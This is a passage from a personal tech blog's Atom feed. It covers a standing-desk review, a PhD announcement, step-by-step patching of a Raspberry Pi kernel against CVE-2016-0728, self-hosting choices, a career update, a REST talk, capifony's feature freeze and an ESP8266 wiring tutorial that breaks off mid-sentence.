&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_ipad.webp&quot; alt=&quot;A picture showing an iPad mini inserted in the slot for tablets&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So far, the painted finish has held up perfectly. It is not glossy, it is not
matte either, it is somewhere in between and I like it! One nice thing is that
it does not highlight fingerprints or dust. The overall quality of the product
is good, especially for this price (less than 300 euros). I find the plastics
quite cheap though. When I moved the standing desk the first time, I slightly
twisted one plastic part. There is no real damage and it is not broken but it is
now slightly deformed 🤷&lt;/p&gt;

&lt;p&gt;I am still investigating a minor problem with my workstation: while typing on
the keyboard, I sometimes hear a sort of vibration sound that I am not able to
locate. It isn’t “noisy” but I can hear it from time to time. Loctek didn’t know
about this problem, though. I guess it’s only me then.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I have used this FlexiSpot product for more than a month now, not every single
day but quite a lot to know what I like and what I don’t really like. The
feature I found myself using a lot is switching from sitting to standing and
back again. This is indeed one of the main advantages of such a product!&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_switching_position.webp&quot; alt=&quot;A picture showing me switching position by holding the two levers&quot; /&gt;
&lt;em&gt;Me, switching position by holding the two levers&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Personally, I don’t think this workstation is ugly when put on top of a desk but
you may not like it. Also, you cannot put too much weight on the work surface
(~15kg for the 27”). If I had to choose between a full standing desk and such a
product, I wouldn’t know what to choose. I like the fact that half the surface
of my desk is still available at a regular height (without having to change
anything). Having a full standing desk could be nice too, though.&lt;/p&gt;

&lt;p&gt;To conclude, the FlexiSpot Desktop Workstation 27 inches is great, especially if
you are interested in trying to work in a standing position first and you don’t
want to (or cannot) afford a full standing desk. The quality of this product is
good (quite heavy and it seems very robust). I would recommend this product for
those who want to give standing desks a try.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>PhD: ✔️</title>
        <link href="https://williamdurand.fr/2016/05/16/phd-check/"/>
        <updated>2016-05-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2016/05/16/phd-check</id>
        <content type="html">&lt;blockquote&gt;
  &lt;p&gt;The more I learn, the more I realize how much I don’t know.&lt;/p&gt;

  &lt;p&gt;&lt;em&gt;Albert Einstein&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;/2013/01/02/new-year-new-life-new-job/&quot;&gt;Three years ago&lt;/a&gt;, I
started a PhD. I am happy to let &lt;em&gt;the Internets™&lt;/em&gt; know that I successfully
defended it two weeks ago! I can now officially call myself a doctor (LOL).&lt;/p&gt;

&lt;p&gt;In case you’re interested or simply curious, you can download the manuscript
here: &lt;a href=&quot;/papers/phd-thesis-v2.pdf&quot;&gt;Automated Test Generation for production systems with a Model-based
Testing approach&lt;/a&gt;. The slides I used for my defense
are below:&lt;/p&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;b4ba8e7c34514e7b84b5528acc7a26bf&quot; data-ratio=&quot;1.41436464088398&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

</content>
    </entry>
    
    <entry>
        <title>Patching the Linux kernel (Raspbian &amp;amp; CVE-2016-0728)</title>
        <link href="https://williamdurand.fr/2016/01/21/patching-linux-kernel-raspbian/"/>
        <updated>2016-01-21T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2016/01/21/patching-linux-kernel-raspbian</id>
        <content type="html">&lt;p&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2016-0728&quot;&gt;CVE-2016-0728&lt;/a&gt; has been disclosed earlier this week and it is a &lt;a href=&quot;https://threatpost.com/serious-linux-kernel-vulnerability-patched/115923/&quot;&gt;serious
security issue&lt;/a&gt;.
The vulnerability affects most of the Linux kernel versions (3.8 and above).
Although the exploit seems tricky to successfully use, it is still a flaw that
has to be patched ASAP.&lt;/p&gt;

&lt;p&gt;I use a few Raspberry Pis for a while now and they all run
&lt;a href=&quot;https://www.raspbian.org/&quot;&gt;Raspbian&lt;/a&gt;, a Debian-based distribution for Raspberry
Pi. I tried to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get update &amp;amp;&amp;amp; apt-get (dist-)upgrade&lt;/code&gt; one of them but
nothing new was available, &lt;em&gt;i.e.&lt;/em&gt; no patched version available.&lt;/p&gt;

&lt;p&gt;At the time of writing, there was only &lt;a href=&quot;https://github.com/raspberrypi/linux/issues/1264&quot;&gt;this single unanswered
issue&lt;/a&gt; on the Raspberry Pi
kernel GitHub repository. I looked into the &lt;a href=&quot;https://github.com/raspberrypi/linux/blob/d51c7d840b002a6b26089d8b45679d9331880060/security/keys/process_keys.c#L796-L799&quot;&gt;Kernel source code&lt;/a&gt; and the code
seemed vulnerable to me (according to the patch and what I understood from the
&lt;a href=&quot;http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/&quot;&gt;report&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;I wanted to run a patched kernel version therefore I decided to &lt;a href=&quot;https://www.raspberrypi.com/documentation/computers/linux_kernel.html&quot;&gt;compile the
Linux kernel&lt;/a&gt;. You will find the different steps I followed to build, install
and run a patched Linux kernel below:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;First, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bc&lt;/code&gt; package is needed (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apt-get install bc&lt;/code&gt;), then the kernel
sources have to be cloned:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone --depth=1 https://github.com/raspberrypi/linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;Longest git checkout ever!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In order to compile a new kernel version, we have to slighty update its name.
I edited the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EXTRAVERSION&lt;/code&gt; variable in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile&lt;/code&gt;:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ head Makefile -n 4

VERSION = 4
PATCHLEVEL = 1
SUBLEVEL = 15
EXTRAVERSION = +will
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Now let’s fetch the &lt;a href=&quot;https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/patch/?id=23567fd052a9abb6d67fe8e7a9ccdd9800a540f2&quot;&gt;patch&lt;/a&gt; for this vulnerability, and apply it:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/patch/?id=23567fd052a9abb6d67fe8e7a9ccdd9800a540f2 | patch -p1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;So far so good. Before compiling the kernel, we have to instruct which kernel
we wish to build, then we can build the related configuration:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ export KERNEL=kernel7
$ make bcm2709_defconfig
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Time to compile the kernel and its modules:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ make -j4 zImage modules dtbs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I started to write this blog post while it was still compiling… At some
point, compilation successfully ended. Let’s install this brand new kernel:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo make modules_install
$ sudo cp arch/arm/boot/dts/*.dtb /boot/
$ sudo cp arch/arm/boot/dts/overlays/*.dtb* /boot/overlays/
$ sudo cp arch/arm/boot/dts/overlays/README /boot/overlays/
$ sudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;And now, time to try it for real (fingers crossed):&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ uname -a
Linux raspberrypi 4.1.15-v7+ #831 SMP Tue Jan 19 18:39:46 GMT 2016 armv7l GNU/Linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ uname -a
Linux raspberrypi 4.1.15+will-v7+ #1 SMP Thu Jan 21 02:09:58 CET 2016 armv7l GNU/Linux
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Achievement unlocked \o/&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>My life on The Internets: a year later</title>
        <link href="https://williamdurand.fr/2016/01/16/my-life-on-the-internets-a-year-later/"/>
        <updated>2016-01-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2016/01/16/my-life-on-the-internets-a-year-later</id>
        <content type="html">&lt;p&gt;It’s been &lt;a href=&quot;/2015/01/16/rethinking-my-life-on-the-internets/&quot;&gt;a year since I changed the way I deal with my Internet
presence&lt;/a&gt;. I would like to share some updates in this article.
In short, I am pretty satisfied with my current setup but a few things could
be improved.&lt;/p&gt;

&lt;p&gt;I am more than happy with &lt;a href=&quot;https://www.fastmail.com/?STKI=13808765&quot;&gt;Fastmail&lt;/a&gt; (affiliate link) for emails, calendars
and contacts. It works very well! It has everything I ever needed and the
support team has been amazing! The only missing feature is that, when sending
a calendar invite from my phone or laptop, it uses my Fastmail email address
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;account@fastmail.com&lt;/code&gt;) instead of the email with my own domain. This should
be supported soon, though.&lt;/p&gt;

&lt;p&gt;I don’t use any Instant Messaging application anymore (I was using Google Talk
before). Instead, I rely on emails and SMS. There is &lt;a href=&quot;https://slack.com/&quot;&gt;Slack&lt;/a&gt;
now too :-) I started to use &lt;a href=&quot;https://www.whatsapp.com/&quot;&gt;WhatsApp&lt;/a&gt;, which is
owned by Facebook now, ugh! Not my best choice but it is a bit like fighting
against Skype with family/friends, it is a tough job.&lt;/p&gt;

&lt;p&gt;Another “complicated battle” is related to the use of encrypted emails. I still
send more clear text emails than encrypted ones. It is a bit sad but no a huge
surprise, I guess. I don’t think people care enough about privacy and GPG is
complicated. On the same topic, I don’t use &lt;a href=&quot;https://ipgmail.com/&quot;&gt;iPGMail&lt;/a&gt;
on my iPhone anymore.&lt;/p&gt;

&lt;p&gt;A few months ago, I bought a &lt;a href=&quot;https://www.raspberrypi.org/&quot;&gt;Raspberry Pi 2&lt;/a&gt; for
my place. I wanted to try self-hosting, &lt;em&gt;i.e.&lt;/em&gt; hosting &lt;em&gt;my&lt;/em&gt; server and thus
keeping &lt;em&gt;my&lt;/em&gt; data and &lt;em&gt;my&lt;/em&gt; services at home. I first installed &lt;a href=&quot;https://tt-rss.org/&quot;&gt;Tiny Tiny
RSS&lt;/a&gt;, the best RSS feed reader ever! The feature I love is
the daily email digest. Every morning, I get an email at 8am, offering a few
links to read. Because there is an abstract for each link, I can skip those I am
not interested in so that I do not spend too much time reading.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2016/01/tt-rss.webp&quot; alt=&quot;An email sent by Tiny Tiny RSS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I am also self-hosting a Pastebin-like called &lt;a href=&quot;https://github.com/sebsauvage/ZeroBin&quot;&gt;ZeroBin&lt;/a&gt; and &lt;a href=&quot;https://owncloud.org/&quot;&gt;ownCloud&lt;/a&gt;.
ownCloud 8 is amazingly stable and fast and it is now possible to replace
Dropbox (or Drive). It can also be used to self-host calendars and contacts.
I don’t want to self-host my emails though. Emails are rather critical and
should not be unavailable for too long.&lt;/p&gt;

&lt;p&gt;At work, we chose to use ownCloud to self-host most of our tools, including
files, calendars, and contacts. I may consider moving my personal calendars and
contacts from Fastmail to my ownCloud instance as well. We’ll see. In case you
don’t want to manage your “own” ownCloud, there are countless providers. In
France, I would recommend &lt;a href=&quot;https://framadrive.org/&quot;&gt;Framadrive&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Last but not least, I keep using &lt;a href=&quot;https://www.instapaper.com&quot;&gt;Instapaper&lt;/a&gt;,
likely the only web application that I am not self-hosting at the moment.
&lt;a href=&quot;https://www.wallabag.org/&quot;&gt;Wallabag&lt;/a&gt; seems more and more what I need, though. I don’t know why I am
still relying on Instapaper instead of Wallabag, maybe because changing habits
is hard?&lt;/p&gt;

&lt;p&gt;One more thing by the way… I did not find any &lt;a href=&quot;https://disqus.com/&quot;&gt;Disqus&lt;/a&gt; alternative yet :-(&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Level up</title>
        <link href="https://williamdurand.fr/2015/09/08/level-up/"/>
        <updated>2015-09-08T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2015/09/08/level-up</id>
        <content type="html">&lt;p&gt;What I have delayed as long as I could finally happened: deciding on what to do
professionally speaking. &lt;em&gt;Yup&lt;/em&gt;, it is almost time for me to leave University
after nine years studying tons of different topics. Fortunately, I had the
opportunity to work beside my studies. Also, Open Source gave me some keys to
explore the real world by myself so I knew what a “job” was. I was just too
scared, and making choices has often been complicated to me.&lt;/p&gt;

&lt;p&gt;Three years ago, I thought working for a big (read famous) company in the Bay
was what I wanted the most. I even did some interviews that all went well but
I never joined any company. I received various job proposals from all over the
world and some of them were really interesting but, again, I was not excited
enough. After three years of doing research, I knew that I wasn’t a good fit
for Academia. Consequently, I decided not to pursue this path.&lt;/p&gt;

&lt;p&gt;Over the years, I started to care more and more about humans, rights, and
ethical behaviours. I also wanted to become a better version of myself,
by &lt;a href=&quot;/2015/01/16/rethinking-my-life-on-the-internets/&quot;&gt;rethinking my life on the Internets&lt;/a&gt;, reading more,
encouraging sharing and diversity with &lt;a href=&quot;https://www.clermontech.org/&quot;&gt;Clermont’ech&lt;/a&gt;,
&lt;a href=&quot;/2015/01/31/je-n-ai-rien-a-cacher/&quot;&gt;creating projects that target a wider audience than usual&lt;/a&gt;, and
even by &lt;a href=&quot;https://edu.williamdurand.fr/&quot;&gt;giving lectures&lt;/a&gt; and &lt;a href=&quot;/talks/&quot;&gt;talks&lt;/a&gt;
all over the world! I also “grew up” by &lt;a href=&quot;/trips/&quot;&gt;traveling a lot&lt;/a&gt; over the
last three years. Among all my trips, visiting my friend Igor who is currently
living in Berlin has been a revelation: I wanted to live and work in Berlin.&lt;/p&gt;

&lt;p&gt;Earlier this year, I thought about working for a non-for-profit organization a
lot: I wanted to work abroad and for a good cause. Organizations such as
&lt;a href=&quot;https://www.eff.org/&quot;&gt;EFF&lt;/a&gt; and &lt;a href=&quot;https://en.rsf.org/&quot;&gt;RSF&lt;/a&gt; caught my attention.
I found positions in Berlin too. At that time, this seemed to be my best (and
also, only viable) plan. But then, @julienmaupetit came to me with a deal…&lt;/p&gt;

&lt;p&gt;After several months thinking and discussing together, I am extremely happy to
announce that Julien and I are now partners at TailorDev. We want to develop
modern tools to &lt;strong&gt;ease scientific collaboration and promote Open Science Data in
research&lt;/strong&gt;. The mission and its strong underlying values align perfectly with my
career goals ♥ ♥ ♥&lt;/p&gt;

&lt;p&gt;Being the “CTO” of such a company comes with tons of  new exciting challenges and
that is why I chose this opportunity rather than working for an organization (not
saying there are no challenges in non-for-profit orgs here). Creating a startup
has always been something I wanted to try at least once and that’s the right
moment I believe. As both of us are happy to run a &lt;em&gt;remote first&lt;/em&gt; company, moving
to Berlin will probably still be possible. This  also means that we will be able
to work with people from everywhere ;-)&lt;/p&gt;

&lt;p&gt;Right now, we are working hard on &lt;em&gt;artich.io&lt;/em&gt;, a &lt;strong&gt;collaborative platform for
scientists&lt;/strong&gt;! Researchers reading this blog post, if you are not registered yet,
you should! We are former scientists in bioinformatics and software engineering,
we know how things work in Academia. That is why we put all our energy and skills
to offer you with efficient tools!&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;I chose to start a new adventure at TailorDev. We build &lt;em&gt;artich.io&lt;/em&gt;, a platform
for researchers.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>[Video] Nobody understands REST but that&apos;s OK ;-)</title>
        <link href="https://williamdurand.fr/2015/06/02/video-nobody-understands-rest/"/>
        <updated>2015-06-02T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2015/06/02/video-nobody-understands-rest</id>
        <content type="html">&lt;p&gt;Last month, I gave a talk on why nobody understands REST at &lt;a href=&quot;https://event.afup.org/phptourluxembourg2015__programme/&quot;&gt;PHP Tour Luxembourg
2015&lt;/a&gt;. It is not quite right to say “nobody” understands &lt;em&gt;X&lt;/em&gt;, no
matter the topic. The title of this talk is definitely catchy!&lt;/p&gt;

&lt;p&gt;The aim of this presentation was to explain how complicated REST was, and
describe why it was impractical in real life (with concrete examples). I also
gave some ideas to build powerful and pragmatic web APIs.&lt;/p&gt;

&lt;p&gt;As usual, congratulations to the AFUP team, this event was a blast!&lt;/p&gt;

&lt;p&gt;You will find the video of my talk below (in French, sorry):&lt;/p&gt;

&lt;iframe src=&quot;//www.youtube.com/embed/u_jDzcXCimM&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;And, here are my slides:&lt;/p&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;b14006e42cc247cdac1ad58e4cd7994a&quot; data-ratio=&quot;1.29456384323641&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you attended my talk and did not rate it yet, please leave a comment on
&lt;a href=&quot;https://joind.in/14276&quot;&gt;joind.in&lt;/a&gt;.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>On capifony and its future</title>
        <link href="https://williamdurand.fr/2015/04/11/on-capifony-and-its-future/"/>
        <updated>2015-04-11T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2015/04/11/on-capifony-and-its-future</id>
        <content type="html">&lt;blockquote&gt;
  &lt;p&gt;Hi! This is your captain speaking.&lt;/p&gt;

  &lt;p&gt;&lt;strong&gt;capifony&lt;/strong&gt; is based on &lt;em&gt;Capistrano v2.x&lt;/em&gt; and will stick to this version
(i.e. capifony is feature-frozen, and will only accept bug fixes).&lt;/p&gt;

  &lt;p&gt;At the time of writing, &lt;a href=&quot;http://capistranorb.com/&quot;&gt;&lt;em&gt;Capistrano v3&lt;/em&gt;&lt;/a&gt; is the
current major version, and &lt;em&gt;capifony is not compatible&lt;/em&gt; with it.&lt;/p&gt;

  &lt;p&gt;Don’t worry, there is a plugin for that! Using &lt;em&gt;Capistrano v3&lt;/em&gt; +
&lt;a href=&quot;https://github.com/capistrano/symfony&quot;&gt;&lt;em&gt;capistrano/symfony&lt;/em&gt;&lt;/a&gt; (heavily
inspired by &lt;em&gt;capifony&lt;/em&gt;) may be the way to go for new projects!&lt;/p&gt;

  &lt;p&gt;Cheers!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Dear capifony users/friends,&lt;/p&gt;

&lt;p&gt;As of yesterday (2015-04-10), this is the message you can read on the &lt;a href=&quot;https://github.com/everzet/capifony&quot;&gt;capifony
GitHub’s page&lt;/a&gt;. Indeed, capifony is now
&lt;strong&gt;officially feature-frozen&lt;/strong&gt;, and we will &lt;strong&gt;only accept bug fixes&lt;/strong&gt;. &lt;strong&gt;This
doesn’t mean it is no longer active&lt;/strong&gt;, though.&lt;/p&gt;

&lt;p&gt;Over the years, capifony became pretty stable, in part thanks to the addition of
a &lt;a href=&quot;https://github.com/everzet/capifony/tree/master/spec&quot;&gt;test suite&lt;/a&gt;. Even if it
is not perfect, it ensures a certain confidence. Recent bug reports are mostly
edge cases that are tricky to solve and that we should take care of.&lt;/p&gt;

&lt;p&gt;Under the hood, capifony leverages Capistrano v2, which is not the latest
version. &lt;a href=&quot;https://capistranorb.com/&quot;&gt;Capistrano v3&lt;/a&gt; has been released in late
2013 and it is the current/latest major version of Capistrano. It has been
entirely rewritten, though, and it obviously breaks backward compatibility.&lt;/p&gt;

&lt;p&gt;We &lt;a href=&quot;https://github.com/everzet/capifony/pull/437&quot;&gt;discussed the creation of capifony
v3&lt;/a&gt; but due to various reasons, a
&lt;a href=&quot;https://github.com/capistrano/symfony&quot;&gt;symfony plugin&lt;/a&gt; has been created and the
work on &lt;em&gt;capifony v3&lt;/em&gt; did not get merged into capifony. The plugin has been
built from scratch and is what could have been known as &lt;em&gt;capifony v3&lt;/em&gt;, &lt;a href=&quot;https://github.com/capistrano/symfony/issues/27&quot;&gt;without
tests&lt;/a&gt; unfortunately. That is
one of the reasons why I did not write this article earlier… But now, it is
time to move forward!&lt;/p&gt;

&lt;h3 id=&quot;now-what&quot;&gt;Now What?&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;If you use capifony on an existing project, &lt;strong&gt;no need to upgrade&lt;/strong&gt;. It might be
complicated, and you could introduce unwanted bugs. If your deployment process 
works for you, no need to change it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If you start a new project, you can use Capistrano v3 and its symfony plugin.
However, since the Capistrano era, &lt;strong&gt;tools and practices evolved a lot&lt;/strong&gt;, and
&lt;a href=&quot;https://groups.google.com/forum/#!topic/capistrano/nmMaqWR1z84&quot;&gt;Capistrano might not be the right tool for
you&lt;/a&gt;. I would
recommend to look at alternatives and/or new ways to deploy your applications.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
    
    <entry>
        <title>Playing with a ESP8266 WiFi module</title>
        <link href="https://williamdurand.fr/2015/03/17/playing-with-a-esp8266-wifi-module/"/>
        <updated>2015-03-17T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2015/03/17/playing-with-a-esp8266-wifi-module</id>
        <content type="html">&lt;p&gt;I started to play with some &lt;a href=&quot;https://www.arduino.cc/&quot;&gt;Arduino&lt;/a&gt;-based technologies after having built my
very own &lt;a href=&quot;https://redmine.acolab.fr/projects/yabbas-v1/wiki/YABBAS&quot;&gt;Arduino board&lt;/a&gt; at &lt;a href=&quot;https://acolab.fr/&quot;&gt;AcoLab&lt;/a&gt;&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; a few
weeks ago. I’ve been working on a project to connect a coffee machine to the
Internets. In this article, I introduce the ESP8266 WiFi module, courtesy of
@disk_91, from a “user perspective”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2015/03/esp8266.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I have a ESP-01 module (ESP8266 being a microchip with its own built-in TCP/IP
stack). It is possible to program and use this module without any other board
but the module isn’t super powerful. In case you’re interested, &lt;a href=&quot;https://github.com/nodemcu/nodemcu-firmware&quot;&gt;nodemcu&lt;/a&gt; is a
lua-based interactive firmware worth taking a look! The alternative approach is
to pair this module with another micro-controller like an Arduino. That’s how I
want to use this WiFi module in the future.&lt;/p&gt;

&lt;p&gt;We can get started with just a computer, though. A &lt;a href=&quot;https://en.wikipedia.org/wiki/FTDI&quot;&gt;FTDI&lt;/a&gt; is needed to connect
the module to it. &lt;em&gt;FTDI&lt;/em&gt; is a common name for &lt;strong&gt;USB-to-TTL&lt;/strong&gt; (or serial)
converter, FTDI being the company making and selling these products.&lt;/p&gt;

&lt;h2 id=&quot;wiring&quot;&gt;Wiring&lt;/h2&gt;

&lt;p&gt;As mentioned previously, I have a ESP-01, which has 8 pins: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VCC&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GND&lt;/code&gt;,
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CH_PD&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TX&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RX&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RST&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GPIO0&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GPIO1&lt;/code&gt;. Wiring the module is not
super complicated:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VCC&lt;/code&gt; needs &lt;strong&gt;3.3V&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CH_PD&lt;/code&gt; has to be pulled-up (meaning it has to be connected to 3.3V as well)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GND&lt;/code&gt; is connected to FTDI’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GND&lt;/code&gt; pin&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RX&lt;/code&gt; is connected to FTDI’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TX&lt;/code&gt; pin, because we want to create a loop: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RX&lt;/code&gt;
-&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TX&lt;/code&gt; =&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RX&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TX&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TX&lt;/code&gt; is connected to FTDI’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RX&lt;/code&gt; pin&lt;/li&gt;
  &lt;li&gt;other pins are left floating&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2015/03/sketch.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It’s important to use a 3.3V power supply and not 5V. In terms of power
consumption, this module requires more than 200mA. This is also rather important
because a lack of intensity causes various issues (the module gets unstable and
it’s annoying to debug).&lt;/p&gt;

&lt;p&gt;I read that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CH_PD&lt;/code&gt; should be pulled-up with a resistor (from &lt;em&gt;3k&lt;/em&gt; to &lt;em&gt;10k&lt;/em&gt;
Ohms), however it did not work for me so I connected this pin to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VCC&lt;/code&gt; 🙈&lt;/p&gt;

&lt;h2 id=&quot;talking-to-the-module&quot;&gt;Talking to the module&lt;/h2&gt;

&lt;p&gt;We can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen&lt;/code&gt; or any tool that can talk to a serial interface to connect
to the module using an FTDI. This is how I did it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;screen /dev/tty.usbserial-A50285BI 9600
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Depending on the firmware version, baud rate is different: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9600&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;57600&lt;/code&gt; or
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;115200&lt;/code&gt;. This is another thing that can cause communication issues. You should
